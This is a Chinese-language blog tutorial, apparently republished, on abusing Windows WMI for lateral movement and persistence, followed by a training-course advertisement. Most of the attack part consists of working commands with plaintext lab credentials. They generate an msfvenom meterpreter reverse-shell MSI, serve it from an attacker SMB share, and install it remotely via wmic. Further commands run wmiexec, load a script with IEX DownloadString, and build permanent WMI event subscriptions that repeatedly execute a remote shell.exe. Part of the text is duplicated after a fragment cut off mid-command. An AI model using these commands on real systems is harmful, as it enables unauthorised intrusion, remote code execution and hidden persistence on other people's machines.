WMI 订阅利用之分析总结

0x00前言

本文对 WMI 的一些利用手法进行了总结,其中主要对 WMI 事件订阅的利用做了详细的剖析,希望可以对大家的学习提供一些帮助。

0x01概述

WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术。用户可以通过
WMI 管理本地和远程计算机。Windows 为远程传输 WMI 数据提供了两个可用的协议,即分布式组件对象模型(Distributed Component
Object Model,DCOM)和 Windows 远程管理(Windows Remote Management,WinRM),使得 WMI
对象的查询、事件注册、WMI 类方法的执行和类的创建等操作都能够远程进行。

在横向移动时,hacker 可以利用 WMI 提供的管理功能,通过已获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。

目前有两种常见的利用方法:

  1. 通过调用 WMI 的类方法进行远程执行。如 Win32_Process 类中的 Create 方法可以在远程主机上创建进程,Win32_Product 类中的 Install 方法可以在远程主机上安装恶意的 MSI。
  2. 远程部署 WMI 事件订阅,在特定的事件发生时触发攻击。

利用 WMI 进行横向移动需要具备以下条件:

① 远程主机的 WMI 服务为开启状态(默认开启)。

② 远程主机防火墙放行 135 端口,这是 WMI 管理的默认端口。

0x02常规利用方法

在 Windows 上可以通过 wmic.exe 和 PowerShell Cmdlet 来使用 WMI 数据和执行 WMI 方法。

Wmic.exe 是一个与 WMI 进行交互的强大的命令行工具,拥有大量的 WMI 对象的默认别名,可以执行许多复杂的查询。

Windows Powershell 也提供了许多可以与 WMI 进行交互的 Cmdlet,如 Invoke-WmiMethod、Set-
WmiInstance 等。

1. 执行远程查询

通过 WMIC 查询远程主机上运行的进程信息,执行以下命令:

wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# process list brief
# /node,指定远程主机的地址 

1673773809_63c3c2f10e628651604c4.png!small?1673773809721

2. 创建远程进程

执行以下命令,通过调用 Win32_Process.Create 方法在远程主机上创建进程,启动 CMD 来执行系统命令:

wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# process call create "cmd.exe /c ipconfig > c:\result.txt"

1673773903_63c3c34f45f97643f92f4.png!small?1673773904135

由于 WMIC 在执行命令时没有回显,因此可以将执行结果写入文件,然后通过建立共享连接等方式使用 type 命令远程读取。

1673773915_63c3c35bab8f60495c6ae.png!small?1673773916495

3. 远程安装 MSI 文件

通过调用 Win32_Product.Install 方法,可以控制远程主机安装恶意的 MSI(Microsoft
Installer)文件,从而获取其权限。

① 使用 msf 生成一个恶意的 MSI 文件:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=4444 -f msi -o reverse_tcp.msi

② 在可控的服务器上搭建 SMB 共享服务器,并将生成的 MSI 文件放入共享目录。

python smbserver.py evilsmb /root/share -smb2support

1673773978_63c3c39af12959386e318.png!small?1673773979677

③ 在跳板机上执行以下命令:

wmic /node:192.168.220.130 /user:Administrator /password:123456Lhz!@# product call install PackageLocation="\\192.168.220.132\evilsmb\reverse_tcp.msi" 

1673774011_63c3c3bb3e3c05862792e.png!small?1673774011805

控制远程主机(192.168.220.130),通过 UNC 路径进行远程加载 smb 服务器的 MSI 文件并进行安装,成功获取远程主机的权限。

1673774023_63c3c3c7a478b2453b015.png!small?1673774024475

0x03常见利用工具

1. Wmiexec

Impacket 项目的 wmiexec.py 能够以全交互或半交互的方式,通过 WMI 在远程主机上执行命令。

注意:该工具需要远程主机开启 135 和 445 端口,其中 445 端口用于传输命令执行的回显。

执行以下命令,获取远程主机的交互式命令行:

python wmiexec.py Administrator:123456Lhz!\@#@192.168.220.130
# python wmiexec.py <Domain>/<Username>:<Password>@<IP>

1673774116_63c3c424ad9035b92243f.png!small?1673774117506

如果是在 Windows 平台上使用,可以通过 PyInstaller,将 wmiexec.py 打包成独立的 EXE 可执行文件:

# 安装 PyInstaller 模块
pip3 install pyinstaller
# 进入 wmiexec.py 所在目录并执行打包操作,将在 dist 目录中生成 wmiexec.exe
cd impacket\examples
pyinstaller -F wmiexec.py  //如果kali报错,可以使用Windows进行打包

打包完成后,生成的 wmiexec.exe 可以直接上传到 Windows 主机中运行,使用方法与 wmiexec.py 相同。

1673774179_63c3c46396e0383f65207.png!small?1673774180213

2.Invoke-WmiCommand

Invoke-WmiCommand.ps1 可以通过 PowerShell 调用 WMI 来远程执行命令:

# 本地/远程加载 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
IEX(New-Object Net.Webclient).DownloadString('http://IP:Port/Invoke-WmiCommand.ps1')
# 指定远程系统用户名
$User = "administrator"
# 指定用户的密码
$Password = ConvertTo-SecureString -String "123456Lhz!@#" -AsPlainText -Force
# 将账号和密码整合起来,以便导入 Credential中
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
# 指定远程主机的 IP 和要执行的命令
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName "192.168.220.130"
# 输出命令执行回显
$Remote.PayloadOutput

1673774571_63c3c5eb4ba3ee6c1e9a7.png!small?1673774572052

3. Invoke-WMIMethod

利用 PowerShell 自带的 Invoke-WMIMethod,不需要额外进行下载。可以在远程系统主机上执行命令和指定程序。但不会回显执行结果

#目标系统用户名
$User="administrator"
#目标系统密码
$Password=ConvertTo-SecureString -String "123456Lhz!@#" -AsPlainText -Force
#将账号和密码整合起来,以便导入 Credential中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
#在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.220.130" -Credential $Cred

1673774606_63c3c60e2c2b488f37541.png!small?1673774606826

命令完成后会在目标系统中运行calc.exe程序,但是不会弹出计算器

1673774626_63c3c622e3c959fe4b9eb.png!small?1673774627531

0x04WMI 事件订阅的利用

WMI 提供了强大的事件处理系统,几乎可以用于对操作系统上发生的任何事件做出响应。

例如,当创建某进程时,通过 WMI 事件订阅来执行预先设置的脚本。其中,涉及到了两个新的概念:

  1. 事件过滤器(Event Filter):触发事件的具体条件,如用户登录,新进程创建等
  2. 事件消费者(Event Consumer):对指定事件发生做出的响应,如运行脚本,记录日志,发送邮件等

在部署事件订阅时,需要分别构建 Filter 和 Consumer 两部分,并将二者绑定在一起。

所有的事件过滤器都被存储为一个 ROOT\subscription:__EventFilter 对象的实例,可以通过创建 __EventFilter
对象实例来部署事件过滤器。

事件消费者是基于 ROOT\subscription:__EventConsumer 系统类派生来的类。系统提供了常用的标准事件消费类,如下表:

事件消费类

|

说明

—|—

LogFileEventConsumer

|

将事件数据写入指定的日志文件

ActiveScriptEventConsumer

|

执行嵌入的 VBScirpt 和 JavaScript 脚本

NTEventLogEventConsumer

|

创建一个包含事件数据的事件日志条目

SMTPEventConsumer

|

发送一封包含事件数据的电子邮件

CommandLineEventConsumer

|

执行指定的系统命令

hacker 可以使用 WMI 的功能在远程主机上部署永久事件订阅,并在特定事件发生时执行任意代码或系统命令。使用 WMI 事件消费类的
ActiveScriptEventConsumer 和 CommandLineEventConsumer,可以在远程主机上执行任何攻击载荷。

该技术主要用来在目标系统上完成权限持久化,也可用于横向移动,但需要提供远程主机的管理员权限的用户凭据。

1. 手动利用

接下来通过手动执行 Powershell 命令来进行利用:

① 整合 PSCredential,用于后续过程的认证

$Username = "Administrator"
$Password = "123456Lhz!@#"
$SecurePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecurePassword

② 设置攻击目标和其他公开参数

$GlobalArgs = @{}
$ComputerName = "192.168.220.130"
$GlobalArgs['Credential'] = $Credential
$GlobalArgs['ComputerName'] = $ComputerName

③ 在远程主机(192.168.220.130)上部署 “TestFilter” 事件过滤器,用于查询 svchost.exe 进程的产生。由于 WMI
所有的事件过滤器都被存储为 ROOT\subscription:__EventFilter 对象的实例,因此通过 Set-WmiInstance
Cmdlet 创建一个 __EventFilter 类的实例即可。

$EventFilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = "TestFilter"
    Query = "SELECT * FROM Win32_ProcessStartTrace where processname = 'svchost.exe'"
    QueryLanguage = 'WQL'
}
$EventFilter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @GlobalArgs

④ 在远程主机上部署一个名为 “TestConsumer” 的事件消费者,创建事件消费类 CommandLineEventConsumer
的实例,在指定事件发生时执行系统命令。

$CommandLineEventConsumerArgs = @{
    Name = "TestConsumer"
    CommandLineTemplate = "C:\Windows\System32\cmd.exe /c calc.exe"
} 
$EventConsumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $CommandLineEventConsumerArgs @GlobalArgs

⑤ 将创建的事件过滤器和事件消费者绑定在一起

$FilterConsumerBindingArgs = @{
    Filter = $EventFilter
    Consumer = $EventConsumer
}
$FilterConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterConsumerBindingArgs @GlobalArgs

注:建议将上述代码整理为 ps1 脚本进行执行。

到此,已经成功在远程主机(192.168.220.130)上部署了一个事件订阅,当目标系统重启系统,管理员正常登录,远程系统轮询到 svchost.exe
进程产生时,将通过事件消费者执行系统命令来启动 calc.exe 进程。

1673774853_63c3c705a651e00b91504.png!small?1673774854459

执行完脚本,可以通过一些命令去查看创建的实例,已确定脚本执行成功:

# 查看创建的事件过滤器的实例
Get-WMIObject -Namespace root\Subscription -Class __EventFilter

1673774923_63c3c74b18a86f0bb555d.png!small?1673774923895

# 查看创建的事件消费者的实例
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

1673774947_63c3c7639f07f996c89c5.png!small

# 查看事件绑定,可以从 __PATH 属性中看到哪个 Filter 和 Consumer 用于 WMI 事件
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

1673774970_63c3c77a2e0654a678f02.png!small?1673774970864

2. Sharp-WMIEvent

该脚本通过WMI事件订阅实现内网横向移动和权限持久化。

Usage:

Sharp-WMIEvent [[-ComputerName] <String>] [[-Domain] <String>] [[-Username] <String>] [[-Password] <String>] [[-Fil
terName] <String>] [[-ConsumerName] <String>] [[-Trigger] <String>] [[-ProcessName] <String>] [[-ScriptPath] <Strin
g>] [[-Command] <String>] [[-IntervalPeriod] <Int32>] [[-ExecutionTime] <DateTime>] [<CommonParameters>]

Example:

# 在 -ProcessName 指定的目标主机上创建永久 WMI 事件订阅,并在 svchost.exe 进程启动时运行脚本
Sharp-WMIEvent -Trigger ProcessStart -ProcessName svchost.exe -ComputerName <IP/Hostname> -Domain <Domain Name> -Username <Username> -Password <Password> -ScriptPath "C:\Sharp-WMIEvent\payload.js" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在 -ProcessName 指定的目标主机上创建永久 WMI 事件订阅,并在 svchost.exe 进程启动时执行该命令
Sharp-WMIEvent -Trigger ProcessStart -ProcessName svchost.exe -ComputerName <IP/Hostname> -Domain <Domain Name> -Username <Username> -Password <Password> -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建永久 WMI 事件订阅并在系统启动后 5 分钟内执行命令
Sharp-WMIEvent -Trigger Startup -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建一个永久的 WMI 事件订阅并在用户登录时执行该命令
Sharp-WMIEvent -Trigger UserLogon -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建永久 WMI 事件订阅并每 60 秒执行一次命令
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

# 在创建永久 WMI 事件订阅并在 08:00:00 执行命令
Sharp-WMIEvent -Trigger Timed -ExecutionTime '08:00:00' -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName <Filter Name> -ConsumerName <Consumer Name>

复现过程:

① 在一台 hacker 可控的服务器上搭建 SMB 共享服务器,并将生成的攻击载荷放入共享目录

1673775037_63c3c7bdd0710335a80ed.png!small?1673775038663

② 在跳板机执行命令,利用 Sharp-WMIEvent 在远程主机上部署一个随机命名的永久事件订阅,并每隔 60 秒执行一次 SMB
共享中的攻击载荷,使远程主机上线。

Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.220.130 -Username Administrator -Password 123456Lhz!@# -Command "cmd.exe /c \\192.168.220.132\evilsmb\shell.exe"

1673775063_63c3c7d76ed3a031f94a2.png!small?1673775064087

1673775069_63c3c7dd0b8d0f9611372.png!small?1673775069747

0x05总结

本次的分享到这就结束了,如有不对,欢迎指正。参考链接如下所示:

<https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-
part-1-wmi-event-subscription>

[https://github.com/wh0Nsq/Sharp-WMIEvent](https://github.com/wh0Nsq/Sharp-
WMIEvent)

2.168.220.132\evilsmb\shell.exe"

[外链图片转存中…(img-dTmhAB5w-1694485944931)]

[外链图片转存中…(img-jVMGIBJ4-1694485944931)]

0x05总结

本次的分享到这就结束了,如有不对,欢迎指正。参考链接如下所示:

<https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-
part-1-wmi-event-subscription>

[https://github.com/wh0Nsq/Sharp-WMIEvent](https://github.com/wh0Nsq/Sharp-
WMIEvent)

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值